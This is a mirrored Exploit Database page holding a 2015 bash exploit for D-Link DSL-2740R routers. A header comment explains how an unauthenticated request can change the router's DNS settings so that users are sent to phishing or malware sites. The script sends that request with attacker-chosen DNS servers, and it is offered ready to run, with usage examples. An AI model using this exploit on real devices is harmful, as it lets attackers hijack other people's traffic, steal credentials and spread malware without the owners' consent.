D-Link DSL-2740R – Remote DNS Change

• Exploit Database
• 46 阅读

• 作者： Todor Donev
  日期： 2015-01-27
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/35917/

• #!/bin/bash
  #
  #D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
  #
  #Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
  #http://www.ethical-hacker.org/
  #
  #Description:
  #Different D-Link Routers are vulnerable to DNS change.
  #The vulnerability exist in the web interface, which is 
  #accessible without authentication. 
  #
  #ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
  #DEVICES MAY AFFECTED.
  #
  #Once modified, systems use foreign DNS servers,which are 
  #usually set up by cybercriminals. Users with vulnerable 
  #systems or devices who try to access certain sites are 
  #instead redirected to possibly malicious sites.
  #
  #Modifying systems' DNS settings allows cybercriminals to 
  #perform malicious activities like:
  #
  #oSteering unknowing users to bad sites: 
  # These sites can be phishing pages that 
  # spoof well-known sites in order to 
  # trick users into handing out sensitive 
  # information.
  #
  #oReplacing ads on legitimate sites: 
  # Visiting certain sites can serve users 
  # with infected systems a different set 
  # of ads from those whose systems are 
  # not infected.
  # 
  #oControlling and redirecting network traffic: 
  # Users of infected systems may not be granted 
  # access to download important OS and software 
  # updates from vendors like Microsoft and from 
  # their respective security vendors.
  #
  #oPushing additional malware: 
  # Infected systems are more prone to other 
  # malware infections (e.g., FAKEAV infection).
  #
  # 
  
  if [[ $# -gt 3 || $# -lt 2 ]]; then
  echo " D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
  echo "================================================================"
  echo "Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
  echo "Example: $0 192.168.1.1 8.8.8.8"
  echo "Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
  echo ""
  echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
  echo "http://www.ethical-hacker.org/"
  exit;
  fi
  GET=`which GET 2>/dev/null`
  if [ $? -ne 0 ]; then
  echo "Error : libwww-perl not found =/"
  exit;
  fi
  GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1